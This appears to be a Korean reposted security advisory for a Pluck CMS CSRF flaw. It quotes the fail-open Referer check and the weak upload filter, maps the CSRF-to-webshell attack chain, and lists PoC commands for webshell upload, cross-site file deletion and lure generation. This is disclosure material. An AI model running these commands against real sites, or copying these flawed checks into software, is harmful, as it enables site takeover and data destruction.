CVE-2026-70376 — Pluck CMS CSRF에 대한 보안 권고 및 Python PoC: fail-open Referer 검사와 이중 확장자 업로드를 통해 웹셸 배포 및 원격 코드 실행이 가능해집니다. | Kitploit


CVE ID	CVE-2026-70376
Tracking ID	PT-2026-68036
제품	`pluck-cms/pluck` — Pluck CMS (플랫 파일 방식 PHP)
영향 버전	4.7.x ~ 4.7.21-dev / 현재 `master`
약점	CWE-352 (CSRF) · CWE-434 (무제한 업로드, 증폭 요인)
CVSS v3.1	8.0 — High · `AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:H`
공격 벡터	네트워크 · 권한 없음 · 관리자 페이지 1회 방문 (UI:R)
영향	콘텐츠 파괴/DoS, 저장형 콘텐츠 주입, Apache/mod_php 환경에서 RCE
도입 시점	커밋 `f79f916` (2019년 12월) — 이후 취약 로직 존재
연구자	Ilhomjon Rustamov (@IlhomjonR)

function requestedByTheSameDomain() {
    if (isset($_SERVER['HTTP_HOST'])) { $myDomain = $_SERVER['HTTP_HOST']; }
    elseif (isset($_SERVER['SCRIPT_URI'])) { $myDomain = $_SERVER['SCRIPT_URI']; }
    else { $myDomain = NULL; }

    if (isset($_SERVER['HTTP_REFERER'])) { $requestsSource = $_SERVER['HTTP_REFERER']; }
    else { $requestsSource = NULL; }

    $referelDomain = parse_url($requestsSource, PHP_URL_HOST);

    if ($myDomain != NULL && $requestsSource != NULL &&
        (strcmp(trim($myDomain), trim($referelDomain)) === 0)) {
        return true;                 // Referer host == our host  -> allow
    } elseif ($myDomain == NULL || $requestsSource == NULL) {
        show_error("Be carefull with clicking links, ...", 1);
        return true;                 // Referer ABSENT -> FAIL OPEN -> allow  <==
    } else {
        return false;                // Referer host mismatch -> block
    }
}

$isCSRF = requestedByTheSameDomain();
if (isset($_GET['action']) && $isCSRF) {
    switch ($_GET['action']) {
        case 'deletefile':  include_once('data/inc/deletefile.php');  break;
        case 'deleteimage': include_once('data/inc/deleteimage.php'); break;
        case 'deletepage':  include_once('data/inc/deletepage.php');  break;
        case 'module_delete': /* ... */
        case 'images':      include_once('data/inc/images.php');      break; // upload
        // ...
    }
}

if (in_array($_FILES['imagefile']['type'],                       // client-controlled MIME
    array('image/pjpeg','image/jpeg','image/png','image/gif'))) {
    $imagewhitelist = array('jfif', '.png', '.jpg', '.gif', 'jpeg');
    if (!in_array(strtolower(substr($_FILES['imagefile']['name'], -4)), $imagewhitelist)) {
        show_error($lang['general']['upload_failed'], 1);         // only checks LAST 4 chars
    } else {
        copy($_FILES['imagefile']['tmp_name'], 'images/'.latinOnlyInput($_FILES['imagefile']['name']));
        // ...
    }
}

flowchart LR
    A[Admin logged into Pluck] --> B[Opens attacker page]
    B --> C["meta referrer=no-referrer<br/>suppresses Referer"]
    C --> D[Top-level nav / auto-form to admin.php]
    D --> E["Lax PHPSESSID cookie rides along<br/>Referer absent"]
    E --> F["requestedByTheSameDomain() -> FAIL OPEN -> true"]
    F --> G1[deletefile / deletepage -> destruction / DoS]
    F --> G2[editpage -> stored-content injection]
    F --> G3["images upload -> shell.php.jpg -> RCE"]

작업	메서드	영향
`admin.php?action=deletefile&var1=<f>`	GET	임의 업로드 파일 삭제
`admin.php?action=deletepage&...`	GET	사이트 페이지 삭제 (DoS)
`admin.php?action=module_delete&...`	GET	모듈 제거
`admin.php?action=logout`	GET	관리자 로그아웃
`admin.php?action=editpage`	POST	저장형 페이지 콘텐츠 주입
`admin.php?action=images` (업로드)	POST	`shell.php.jpg` 설치 → RCE

pip install requests

# Prove the fail-open Referer logic
python3 exploit/pluck_csrf_rce.py -u http://127.0.0.1/pluck -p 'AdminPass1!' probe

# CSRF-upload a webshell and get RCE
python3 exploit/pluck_csrf_rce.py -u http://127.0.0.1/pluck -p 'AdminPass1!' shell --run 'id'
#   -> http://127.0.0.1/pluck/images/shell.php.jpg?c=id

# Destructive primitive: delete a file cross-site
python3 exploit/pluck_csrf_rce.py -u http://127.0.0.1/pluck -p 'AdminPass1!' delete secret.txt

# Generate the drive-by lure for a victim admin's browser
python3 exploit/pluck_csrf_rce.py -u http://127.0.0.1/pluck lure --action shell -o lure.html

날짜	내용
2019-12	취약한 `requestedByTheSameDomain()` 로직 도입 (`f79f916`)
2026-07-08	소스 코드 감사를 통해 발견; 종단 간(end-to-end) PoC 검증 완료
2026-08-10	보안 권고문 초안 작성 (PT-2026-68036)
2026-08-12	CVE-2026-70376 배정; 권고문 및 PoC 공개

CVE-2026-70376

인기

📋 한눈에 보기

🔎 요약

🧬 근본 원인

1. Fail-open Referer 검사 — `data/inc/functions.admin.php`

2. 세션 쿠키에 `SameSite` 미설정 (증폭 요인)

3. 이중 확장자 업로드 — `data/inc/images.php` (RCE 증폭 요인)

⛓️ 공격 체인

💥 익스플로잇

🛠️ 수정 방안

🕒 타임라인

📚 참고 자료

⚖️ 면책 조항

CVE-2026-70376

인기

CVE-2026-70376 — Pluck CMS 사이트 전역 CSRF → RCE

Fail-open Referer 검사 + CSRF 토큰 없음 + 이중 확장자 업로드

📋 한눈에 보기

🔎 요약

🧬 근본 원인

1. Fail-open Referer 검사 — data/inc/functions.admin.php

2. 세션 쿠키에 SameSite 미설정 (증폭 요인)

3. 이중 확장자 업로드 — data/inc/images.php (RCE 증폭 요인)

⛓️ 공격 체인

💥 익스플로잇

🛠️ 수정 방안

🕒 타임라인

📚 참고 자료

⚖️ 면책 조항

1. Fail-open Referer 검사 — `data/inc/functions.admin.php`

2. 세션 쿠키에 `SameSite` 미설정 (증폭 요인)

3. 이중 확장자 업로드 — `data/inc/images.php` (RCE 증폭 요인)